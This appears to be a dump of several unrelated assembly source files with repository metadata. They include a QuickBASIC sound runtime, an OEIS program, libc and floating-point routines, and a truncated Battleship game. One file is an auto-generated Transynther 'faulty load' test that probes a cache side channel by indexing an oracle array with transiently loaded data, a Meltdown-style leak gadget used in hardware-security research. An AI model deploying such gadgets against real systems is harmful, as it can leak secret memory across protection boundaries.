B$xSNINI in initializer list. SUBTTL Runtime data definitions for BASIC Sound/Music PAGE sBegin _DATA ; ; external data ; externW b$ini_disp ;One time initialization dispatch table externW b$run_disp ;Run time initialization dispatch table externW b$term_disp ;One time termination dispatch table externW b$clrt_disp ;Clear termination dispatch table externW b$shlt_disp ;Shell termination dispatch table externW b$shli_disp ;Shell initialization dispatch table sEnd _DATA sBegin _BSS ; ; Global Uninitialized Data ; ;*** ;b$SNQueSeg - Sound Queue Segment ; ;Purpose: ; This variable gives the segment in which the sound queue exists. ; The sound queue is the first 256 bytes of this segment. It is also ; used as a flag to prevent multiple deallocations. If the value of ; b$SNQueSeg is 0, then the segment is not currently allocated. ; ; The sound queue is used to hold notes that have been specified by ; the PLAY statement. It holds unplayed notes for both the foreground ; and background music. ; ;Allocation: ; b$SNQueSeg is a WORD value declared in the _BSS segment by ; the OEM-Independent code. ; ;Values: ; 0 - No sound queue allocated ; not 0 - Segment in which sound queue exists. ; ;Initially Set: ; This variable is statically initialized to be 0 (No Sound Queue). ; At program initialization (after B$GWINI is called but before ; any user code is executed) it is set to the location of the ; sound queue. ; ;Modified By: ; Once set, this variable should not be modified as long as the ; sound queue exists. The sound queue exists until the end of ; the program or until a RUN command is executed. ; ;Used By: ; The sound queue is only used by the OEM-Dependent code. It is ; not accessed or modified by any OEM-Independent code. ;************************************************************************ globalW b$SNQueSeg,?,1 ;music queue buffer segment globalB B$MMODE,?,1 EVEN globalW B$VCEVOL,?,NUM_VOICES globalB B$BEATS, ?,NUM_VOICES globalB B$NOTE1L,?,NUM_VOICES globalB B$NOTELN,?,NUM_VOICES globalB B$NOTFLG,?,NUM_VOICES globalB B$MSCALE,?,NUM_VOICES globalB B$OCTAVE,?,NUM_VOICES sEnd _BSS externNP B$BREAK_CHK externNP B$ERR_FC externNP B$DONOTE externNP B$SNDOFF externNP B$ERR_OM_FH externNP B$FHHighAlloc externNP B$FHHighDealloc SUBTTL Runtime Sound/Music Initialization PAGE assumes CS,INIT_CODE sBegin INIT_CODE ;*** ;B$xSNINI - Sound/Music initializer ;PLM B$xSNINI() ; ;Purpose: ; Initializer for Sound/Music component. This routine is called ; by the Crt0 startup before _main is called. It will update the ; indirect dispatch tables for the Sound/Music routines. This ; insures that the only time that Sound/Music support is accessed ; is when this module is linked into the user program. ; ;Entry: ; None. ; ;Exit: ; Appropriate dispatch vector entries filled. ; ;Uses: ; None. ; ;Exceptions: ; None. ;**** cProc B$xSNINI,<FAR> cBegin ; ; update "ONE" time initialization dispatch address to B$SNINI ; MOV WORD PTR [b$ini_disp].SN_IVEC,SN_TEXTOFFSET B$SNINI ; ; update "RUN" time initialization dispatch address to B$SNRUN ; MOV WORD PTR [b$run_disp].SN_RVEC,SN_TEXTOFFSET B$SNRUN ; ; update "ONE" time termination dispatch address to B$SNTERM ; MOV WORD PTR [b$term_disp].SN_TVEC,SN_TEXTOFFSET B$SNTERM ; ; update "CLEAR" time termination dispatch address to B$SNCLEAR ; MOV WORD PTR [b$clrt_disp].SN_CLTVEC,SN_TEXTOFFSET B$SNCLEAR ; ; update "SHELL" time termination dispatch address to B$SNTEM ; MOV WORD PTR [b$shlt_disp].SN_STVEC,SN_TEXTOFFSET B$SNTERM ; ; update "SHELL" time initializatiom dispatch address to B$SNINI ; MOV WORD PTR [b$shli_disp].SN_SIVEC,SN_TEXTOFFSET B$SNINI cEnd sEnd INIT_CODE assumes CS,SN_TEXT sBegin SN_TEXT ;*** ;B$SNINI - One time initialization for Sound/Music ;void pascal B$SNINI() ; ;Purpose: ; Allocate and initialize the music queue. ;Entry: ; None. ;Exit: ; None. ;Uses: ; AX, BX. ;Exceptions: ; Out of memory error if allocation fails. ;**** cProc B$SNINI,<NEAR> cBegin ; First, allocate the memory for the music queue. MOV AX,256 ;queue size is 256 bytes CWD ;clear DX for doubleword size CALL B$FHHighAlloc ;allocate the music queue buffer JCXZ SNIniOMErr ;Out of memory if no room for buffer MOV b$SNQueSeg,CX ;save segment of memory block cEnd SNIniOMErr: JMP B$ERR_OM_FH ;out of memory - no room for sound buffer ;*** ;B$SNRUN - RUN time initialization for Sound/Music ;void pascal B$SNRUN() ; ;Purpose: ; Added as part of [5]. ; Reset and initialize the music queue. ;Entry: ; None. ;Exit: ; None. ;Uses: ; Per convention. ;Exceptions: ; None. ;**** cProc B$SNRUN,<NEAR> cBegin ; Turn off any sound and initialize the queue. cCall B$SNDOFF JMP SHORT INI_QUE cEnd <nogen> ;*** ;B$SNCLEAR - CLEAR time termination for Sound/Music ;void pascal B$SNCLEAR() ; ;Purpose: ; Reset and reinitialize music. ;Entry: ; None. ;Exit: ; None. ;Uses: ; None. ;Exceptions: ; None. ; ;**** cProc B$SNCLEAR,<NEAR> cBegin cCall SNDRST INI_QUE: cCall B$SNDINI cEnd ;*** ;B$SNTERM - One time termination for Sound/Music ;void pascal B$SNTERM() ; ;Purpose: ; Flush music queues and deallocate sound buffer if needed. ; ;Entry: ; None. ; ;Exit: ; None. ; ;Uses: ; None. ; ;Exceptions: ; None. ;**** cProc B$SNTERM,<NEAR> cBegin cCall B$SNDOFF ; Deallocate the music queue memory block. ; Because of the way that RUN/CHAIN works, it is possible for ; B$SNTERM to be called multiple times. Make sure that the ; Sound Queue is deallocated only once. The value 0 is used ; to indicate a non-init queue, as it can not occur as a legal ; segment in either DOS3 or DOS5 MOV AX,b$SNQueSeg ;get the memory block segment OR AX,AX ;If the value is zero.. JZ NoDealloc ;do not deallocate block CALL B$FHHighDealloc ;deallocate the block XOR AX,AX ;Clear AX MOV b$SNQueSeg,AX ;And flag memory as unallocated NoDealloc: cEnd ;*** ;B$STRTSD - Start Playing Background Sound ;Purpose: ; Signal background task to start emptying voice queues and playing ; music. ;Input: ; None. ;Output: ; None. ;Uses: ; None. ;Exceptions: ; B$ERR_FC ;**** cProc B$STRTSD,<PUBLIC,NEAR> cBegin MOV AL,LOW STRSND ;Function code to start sound cCALL B$DONOTE ; Pass command to the OEM JC FCERR cEnd ;*** ;B$SNDWAT - Wait until foreground sound has stopped ;Purpose: ; If Music mode is foreground, wait until all sound ; activity has stopped, and all voices are silent. If ; Music mode is background, return immediately. ;Entry: ; None. ;Exit: ; None. ;Uses: ; None. ;Exceptions: ; B$ERR_FC ;**** cProc B$SNDWAT,<PUBLIC,NEAR> cBegin CMP [B$MMODE],0 ;Test Music Mode (0=FG, 255=BG) JNE SNDWAX ;Continue if Music Background PUSH AX ;Save registers used WAITFG: CALL B$BREAK_CHK ;Check for user break MOV AL,LOW TSTVOC ;Function to test for active voices cCALL B$DONOTE ; Ask the OEM about it JNC SNDWAT_OK FCERR: JMP B$ERR_FC ;bad fn call if no data returned SNDWAT_OK: OR AL,AL ;See if any of them are active JNE WAITFG ;and wait until they aren't POP AX ;Restore the registers SNDWAX: cEnd ;*** ;SNDRST - Reset Backgound Music ; ;Purpose: ; SNDRST is called to reset background music. It is called during ; initialization from INIT and during the processing of CTL-C ; from B$BREAK_CHK. ;Entry: ; None. ;Exit: ; None. ;Uses: ; None. ;Exceptions: ; B$ERR_FC ;**** cProc SNDRST,<NEAR> cBegin MOV AX,STPSND ;Flush queue function cCALL B$DONOTE ; Disable background music, init music queue JC FCERR cEnd SUBTTL Sound initialization ;*** ;B$SNDINI - Initialize Sound Variables ; ;Purpose: ; B$SNDINI is called to set B$OCTAVE, B$BEATS, B$NOTELN, B$NOTE1L, B$MSCALE, ; and B$MMODE to appropriate initial settings. ; B$SNDINI is called at CLEARC and during initialization. ;Entry: ; None. ;Exit: ; None. ;Uses: ; None. ;Exceptions: ; None. ;**** cProc B$SNDINI,<PUBLIC,NEAR>,<SI> cBegin MOV [B$MMODE],LOW 0D XOR SI,SI ;Start with voice 0 SDIN10: MOV B$BEATS[SI], low 120d MOV B$MSCALE[SI],low 3d MOV B$NOTELN[SI],low 4d MOV B$NOTE1L[SI],low 4d MOV B$OCTAVE[SI],low 4d MOV B$NOTFLG[SI],low 0d ; Initialize the default volume for each voice ADD SI,SI MOV B$VCEVOL[SI],DFLVOL cEnd sEnd SN_TEXT END
21.097506
79
0.721303
aad97bceeb3f8922cdc47d2501c9680b44410fe4
5,226
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1003.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1003.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1003.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x187b6, %rsi lea addresses_A_ht+0x18856, %rdi cmp %rbp, %rbp mov $64, %rcx rep movsw nop nop nop nop nop xor $6366, %rcx lea addresses_normal_ht+0x1951c, %r14 clflush (%r14) nop nop cmp %r11, %r11 movups (%r14), %xmm2 vpextrq $1, %xmm2, %r13 nop nop nop nop inc %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_UC+0x7bee, %rsi lea addresses_WC+0x19efa, %rdi nop nop inc %r12 mov $33, %rcx rep movsw xor $45032, %rax // Store lea addresses_WT+0xd0d6, %rsi nop nop xor %r9, %r9 mov $0x5152535455565758, %rbx movq %rbx, (%rsi) nop nop nop nop and %r9, %r9 // Store lea addresses_PSE+0x10656, %r12 nop nop nop and %rax, %rax mov $0x5152535455565758, %r9 movq %r9, (%r12) nop nop nop nop nop cmp %rsi, %rsi // Faulty Load lea addresses_WC+0xf856, %rbx nop nop nop add $24316, %r9 mov (%rbx), %r12d lea oracles, %rbx and $0xff, %r12 shlq $12, %r12 mov (%rbx,%r12,1), %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_UC'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WC'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
41.808
2,999
0.660161
d913b53378b784619f0185e1bde3f63668c403fa
559
asm
Assembly
oeis/001/A001526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/001/A001526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/001/A001526.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A001526: (7n+1)(7n+6). ; 6,104,300,594,986,1476,2064,2750,3534,4416,5396,6474,7650,8924,10296,11766,13334,15000,16764,18626,20586,22644,24800,27054,29406,31856,34404,37050,39794,42636,45576,48614,51750,54984,58316,61746,65274,68900,72624,76446,80366,84384,88500,92714,97026,101436,105944,110550,115254,120056,124956,129954,135050,140244,145536,150926,156414,162000,167684,173466,179346,185324,191400,197574,203846,210216,216684,223250,229914,236676,243536,250494,257550,264704,271956,279306,286754,294300,301944,309686 add $0,1 bin $0,2 mul $0,98 add $0,6
69.875
495
0.801431
2202f77c67e3443f5d5f561b9dd3ef5e5bd4ff74
1,564
nasm
Assembly
modules/libc/misc/conio.nasm
r-tty/radios
fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b
[ "BSD-3-Clause" ]
null
null
null
modules/libc/misc/conio.nasm
r-tty/radios
fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b
[ "BSD-3-Clause" ]
null
null
null
modules/libc/misc/conio.nasm
r-tty/radios
fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b
[ "BSD-3-Clause" ]
null
null
null
;------------------------------------------------------------------------------- ; conio.nasm - some DOS-like terminal I/O functions. ;------------------------------------------------------------------------------- module libc.conio %include "lib/termios.ah" %include "lib/defs.ah" exportproc _getch, _putch, _kbhit externproc _tcgetattr, _tcsetattr externproc _read, _write, _poll section .text ; int getch(void); proc _getch locals buf locauto torig, tTermIOs_size locauto ttmp, tTermIOs_size prologue savereg esi,edi,ecx lea esi,[%$torig] Ccall _tcgetattr, STDIN_FILENO, ebx lea edi,[%$ttmp] mov ecx,tTermIOs_size cld rep movsb lea edi,[%$ttmp] and dword [edi+tTermIOs.IFlag],~(IXOFF | IXON) and dword [edi+tTermIOs.LFlag],~(ECHO | ICANON | NOFLSH) or dword [edi+tTermIOs.LFlag],ISIG mov byte [edi+tTermIOs.CC+VMIN],1 mov byte [edi+tTermIOs.CC+VTIME],0 Ccall _tcsetattr, STDIN_FILENO, TCSADRAIN, edi lea eax,[%$buf] Ccall _read, STDIN_FILENO, byte 1 lea esi,[%$torig] Ccall _tcsetattr, STDIN_FILENO, TCSADRAIN, esi movzx eax,byte [%$buf] epilogue ret endp ;--------------------------------------------------------------- ; int putch(int c); proc _putch arg ch locals buf prologue Mov8 %$buf,%$ch lea eax,[%$buf] Ccall _write, STDOUT_FILENO, eax, byte 1 movzx eax,byte [%$ch] epilogue ret endp ;--------------------------------------------------------------- ; int kbhit(void); proc _kbhit ret endp ;---------------------------------------------------------------
23.69697
80
0.535166
9790b3e9cce1bb7e86c84bdb3c9716d9d64d38a2
1,986
asm
Assembly
libsrc/math/mbf32/c/sccz80/modf.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/math/mbf32/c/sccz80/modf.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/math/mbf32/c/sccz80/modf.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_mbf32 PUBLIC modf EXTERN floor EXTERN ceil EXTERN msbios EXTERN ___mbf32_SUBCDE EXTERN ___mbf32_FPREG EXTERN l_glong EXTERN ___mbf32_return ; double modf(double value, double *iptr) modf: ld hl,4 add hl,sp call l_glong IF __CPU_INTEL__ ld a,e rra jp c,isnegative ELSE bit 7,e jr nz,isnegative ENDIF push de push hl call floor pop bc pop bc jr rejoin isnegative: push de push hl call ceil pop bc pop bc rejoin: ld c,l ld b,h ld hl,2 add hl,sp ld a,(hl) inc hl ld h,(hl) ld l,a ; Now store the float ld (hl),c inc hl ld (hl),b inc hl ld (hl),e inc hl ld (hl),d IF __CPU_INTEL__ ex de,hl ld (___mbf32_FPREG+2),hl ld l,c ld h,b ld (___mbf32_FPREG),hl ELIF __CPU_GBZ80__ ld hl,___mbf32_FPREG ld (hl),c inc hl ld (hl),b inc hl ld (hl),e inc hl ld (hl),d ELSE ld (___mbf32_FPREG),bc ld (___mbf32_FPREG+2),de ENDIF ld hl,4 add hl,sp ld e,(hl) inc hl ld d,(hl) inc hl ld c,(hl) inc hl ld b,(hl) IF __CPU_INTEL__ call ___mbf32_SUBCDE ld hl,(___mbf32_FPREG+2) ex de,hl ld hl,(___mbf32_FPREG) ELIF __CPU_GBZ80__ call ___mbf32_SUBCDE ld hl,___mbf32_FPREG+3 ld d,(hl) dec hl ld e,(hl) dec hl ld a,(hl-) ld l,(hl) ld h,a ELSE push ix ld ix,___mbf32_SUBCDE call msbios pop ix ld hl,(___mbf32_FPREG) ld de,(___mbf32_FPREG+2) ENDIF ; Now flip the sign ld a,e xor $80 ld e,a ret
17.421053
41
0.475831
01b43930dbd2abf4d2fe1f208a59d47ad76b169c
18,073
asm
Assembly
antigos/versao_modificaoes_mauricio.asm
mauriciocc/batalha-univatal
5d7bf7890e1f283b46e93a425fa902501a88a754
[ "MIT" ]
null
null
null
antigos/versao_modificaoes_mauricio.asm
mauriciocc/batalha-univatal
5d7bf7890e1f283b46e93a425fa902501a88a754
[ "MIT" ]
null
null
null
antigos/versao_modificaoes_mauricio.asm
mauriciocc/batalha-univatal
5d7bf7890e1f283b46e93a425fa902501a88a754
[ "MIT" ]
null
null
null
org 100h .DATA mensagem_inicial DB "BEM VINDO AO UNIVATAL, FAVOR DIGITE EM MAIUSCULO, A POSICAO DE SEUS NAVIOS:",0 lmensagem_inicial: ; Constantes de desenho const_popa_horizontal EQU '<' const_proa_horizontal EQU '>' const_popa_vertical EQU '^' const_proa_vertical EQU 'Y' const_conves EQU '0' const_barril EQU 'O' const_agua EQU ' ' const_agua_atingida EQU 178 const_embarcacao_atingida EQU '*' const_posicao_tiro_feito EQU '.' const_barril_arr DB const_barril,0 const_bote_horizontal DB const_popa_horizontal, const_proa_horizontal,0 const_bote_vertical DB const_popa_vertical, const_proa_vertical,0 const_lancha_horizontal DB const_popa_horizontal, const_conves, const_proa_horizontal,0 const_lancha_vertical DB const_popa_vertical, const_conves, const_proa_vertical,0 const_barcaca_horizontal DB const_popa_horizontal, const_conves, const_conves, const_proa_horizontal,0 const_barcaca_vertical DB const_popa_vertical, const_conves, const_conves, const_proa_vertical,0 ; Constantes para utilizar no "var_objeto" const_objeto_barril EQU 1 const_objeto_bote EQU 2 const_objeto_lancha EQU 3 const_objeto_barcaca EQU 4 ; Constantes para utilizar no "orientacao_escrita" const_horizontal EQU 'H' const_vertical EQU 'V' ; Constantes do tabuleiro const_char_inicio_colunas EQU 'A' const_char_inicio_linhas EQU '1' ; Posicoes iniciais dos tabuleiros const_tabuleiro1_x EQU 1 const_tabuleiro1_y EQU 5 const_tabuleiro2_x EQU 41 const_tabuleiro2_y EQU 5 ; Tamanho do tabuleiro const_numero_colunas EQU 8 const_numero_linhas EQU 8 ; Variavel para informar metodos a respeito de qual tabuleiro esta sendo realizada a operacao (1 ou 2) var_tabuleiro DB 1 ; Aqui guarda as informacoes do tabuleiro, onde estao os barcos, disparos, etc. (matriz 8x8 = 64 posicoes) var_status_tabuleiro1 DB 64 DUP(const_agua) var_status_tabuleiro2 DB 64 DUP(const_agua) var_disparos_outro_player DB 64 DUP(const_agua) posX DW 0 posY DW 0 posicao DW 0 ; Controla a orientacao da funcao _escreve_char (usar constantes const_horizontal e const_vertical) orientacao_escrita DB const_horizontal ; Controla o que sera desenhado ao chamar a funcao _desenha_objeto var_objeto DB const_objeto_barril mult DB 0 aux DB 0 .CODE MOV AX, 0B800h MOV ES, AX ;TELA_INICIAL: ; MOV SI, offset mensagem_inicial ; CALL _escreve_vetor_char ; Aqui precisamos coletar as posicoes do usuario mov var_tabuleiro, 1 call _desenha_tabuleiro mov posX, 2 mov posY, 2 mov var_objeto, const_objeto_barcaca mov orientacao_escrita, const_vertical mov var_tabuleiro, 1 call _desenha_objeto ;mov var_tabuleiro, 2 ;call _desenha_tabuleiro ret ; Logica ---------------------------------------- ;------------------------------------------------------------- ; Efetua disparo na posicao especificada (grava na variavel var_status_tabuleiro2) ; ; Parametros: ; - posX ; - posY ; ; Retorna: ; - AL = 0 se disparo nao pode ser efetuado ; - AL = 1 se disparo foi efetuado ; ; Exemplo de uso ; ;mov posX, 2 ;mov posY, 2 ;call _efetua_disparo _efetua_disparo: push si call _valida_disparo cmp al, 1 je __ed_run jmp __ed_end __ed_run: call _calcula_posicao_memoria mov si, ax mov var_status_tabuleiro2[si], const_posicao_tiro_feito mov ax,1 __ed_end: pop si ret ;------------------------------------------------------------- ; Busca por disparo efetuado (var_disparos_outro_player) e ; altera em memoria com os resultados ; (var_disparos_outro_player e var_status_tabuleiro1) ; ; Variaveis utilizadas: ; - var_disparos_outro_player ; - var_status_tabuleiro1 ; ; O retorno e feito no registrador AX: ; 1 -> caso tenha acertado algo ; 0 -> nao acertou nada ; Exemplo de uso: ; ;; Insere disparo na posicao 2 ;lea si, var_disparos_outro_player ;add si, 2 ;mov [si], const_posicao_tiro_feito ; ;; Insere barril na posicao 2 ;lea si, var_status_tabuleiro1 ;add si, 2 ;mov [si], const_barril ; ;call _substitui_disparo_outro_player _substitui_disparo_outro_player: push si push bx lea si, var_disparos_outro_player call _busca_disparo_outro_player cmp ax, -1 jne __sdop_encontrou_disparo mov ax, 0 ret __sdop_encontrou_disparo: ;checa se acertou algo lea si, var_status_tabuleiro1 add si, ax push ax mov al, [si] call _acertou_algo cmp al, 1 pop ax je __sdop_acertou_algo ;aqui nao acertou mov bl, const_agua_atingida mov bh, 0 jmp __sdop_acertou_algo_end __sdop_acertou_algo: ;aqui quer dizer que acertou mov bl, const_embarcacao_atingida mov bh, 1 __sdop_acertou_algo_end: ;pega caracter e substui nas memorias lea si, var_disparos_outro_player add si, ax mov [si], bl lea si, var_status_tabuleiro1 add si, ax mov [si], bl mov ax, 0 mov al, bh pop bx pop si ret ;------------------------------------------------------------- ; Realiza busca por disparo efetuado (ver constante "const_posicao_tiro_feito") ; Parametros: ; - SI (deve estar setado no offset do vetor a ser verificado, acredito que sera "var_disparos_outro_player") ; Logica: ; Busca no vetor um valor igual a "const_posicao_tiro_feito" ; Caso encontre: retorna o indice do elemento dentro do vetor no registrador AX ; Caso nao econtre: retorna no AX -> -1 ; ; Exemplo de uso: ;; Escreve disparo na posicao 3 do vetor (si+2) ;lea si, var_disparos_outro_player ;add si, 2 ;mov [si], const_posicao_tiro_feito ; ;; Busca a posicao do disparo, apos chamada o registrador AX contera o valor 2 ;lea si, var_disparos_outro_player ;call _busca_disparo_outro_player _busca_disparo_outro_player: mov ax, 0 __bdop_loop: push si add si, ax mov bl, [si] pop si cmp bl, const_posicao_tiro_feito je __bdop_end_loop inc ax cmp ax, 64 je __bdop_end_loop_not_found jmp __bdop_loop __bdop_end_loop_not_found: mov ax, -1 __bdop_end_loop: ret ;------------------------------------------------------------- ; Verifica se posicao selecionada para disparo ja nao foi utilizada ; Parametros: ; - posX ; - posY ; Logica: ; Checa na variavel "var_status_tabuleiro2" se ja nao houve disparo na posicao ; O retorno e feito no registrador AL ; caso retorne 1 -> quer dizer que pode disparar ; caso retorne 0 -> quer dizer que ja houve disparo _valida_disparo: push bx push si call _calcula_posicao_memoria mov si, ax mov al, var_status_tabuleiro2[si] cmp al, const_agua jne __vd_diferente mov al, 1 jmp __vd_fim __vd_diferente: mov al, 0 __vd_fim: pop si pop bx ret ;------------------------------------------------------------- ; Verifica se a posicao para posicionamento do objeto e valida ; ; NOTA: posX e posY em relacao ao tabuleiro (8x8 neste caso) ; ; Parametros: ; - posX ; - posY ; - orientacao_escrita ; - var_objeto ; ; Logica: ; - Calcula tamanho do objeto ; - Verifica se ele vai ser desenhado ao longo do X ou Y ; - Incrementa o valor da posicao X ou Y dependendo da orientacao da escrita ; - Verifica se os valores nao estouram o tamanho do tabuleiro ; - Checa se o posicionamento da embarcacao nao ira sobrepor outra embarcacao ; ; O retorno e feito no registrador AL ; caso retorne 1 -> quer dizer que a posicao e valida ; caso retorne 0 -> quer dizer que a posicao e invalida _valida_posicao_objeto: push posX push posY mov ax, 0 mov al, var_objeto mov cx, ax dec al cmp orientacao_escrita, const_horizontal jne __vpo_vertical add posX, ax jmp __vpo_fim_orientacao __vpo_vertical: add posY, ax __vpo_fim_orientacao: cmp posX, const_numero_colunas jng __vpo_nao_e_maior_x mov al, 0 jmp __vpo_fim __vpo_nao_e_maior_x: cmp posY, const_numero_linhas jng __vpo_nao_e_maior_y mov al, 0 jmp __vpo_fim __vpo_nao_e_maior_y: pop posY pop posX push posX push posY __vpo_loop_validacao: ; Valida se a posicao contem agua call _calcula_posicao_memoria push si mov si, ax cmp var_status_tabuleiro1[si], const_agua pop si je __vpo_agua_encontrada mov ax, 0 jmp __vpo_fim __vpo_agua_encontrada: ; Incrementa X ou Y cmp orientacao_escrita, const_horizontal jne __vpo_loop_vertical inc posX jmp __vpo_loop_orientacao __vpo_loop_vertical: inc posY __vpo_loop_orientacao: loop __vpo_loop_validacao mov ax, 1 __vpo_fim: pop posY pop posX ret _calcula_posicao_memoria: push bx mov ax, posY dec ax mov bl, const_numero_colunas mul bl add ax, posX dec ax pop bx ret ;------------------------------------------------------------- ; Traduz um caracter ASCII (A...H) para um valor (1,2,3...) (usado para colunas) ; Parametro deve estar no registrador AL e o retorno e feito ; atraves do mesmo registrador 